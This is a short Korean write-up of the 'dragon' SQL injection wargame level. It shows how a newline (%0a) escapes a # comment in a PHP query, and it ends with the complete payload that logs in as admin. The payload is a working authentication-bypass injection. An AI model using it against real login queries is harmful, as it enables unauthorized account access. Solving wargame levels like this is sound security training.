[20] dragon
문제
풀이
주어진 쿼리문을 보겠다.
1
$query = "select id from prob_dragon where id='guest'# and pw='{$_GET[pw]}'";
첫번째 조건절 뒤에 #을 넣어서 뒷부분을 날려버리고 있다.
스터디 초반에 로그인 로직 5가지 유형을 개발할 때, 조건절이 개행 처리된 쿼리에는 주석을 주입해도 원하는대로 처리되지 않음을 경험했었다.
이 점에 착안해서 개행 문자를 이용해주면 될 것 같다.
즉, 쿼리문을 다음과 같이 변조할 생각이다.
1
2
$query = "select id from prob_dragon where id='guest'# and pw='
and pw='' or id='admin'";
위 쿼리문은 다음 쿼리문과 동일하게 동작한다.
1
$query = "select id from prob_dragon where (id='guest' and pw='') or id='admin'";
따라서 정상적으로 admin 계정을 fetch 해오게 된다.
개행 문자인 \n 은 url encoding을 거쳐 %0a로 입력해준다.
입력할 답은 다음과 같다.
1
%0a and pw='' or id='admin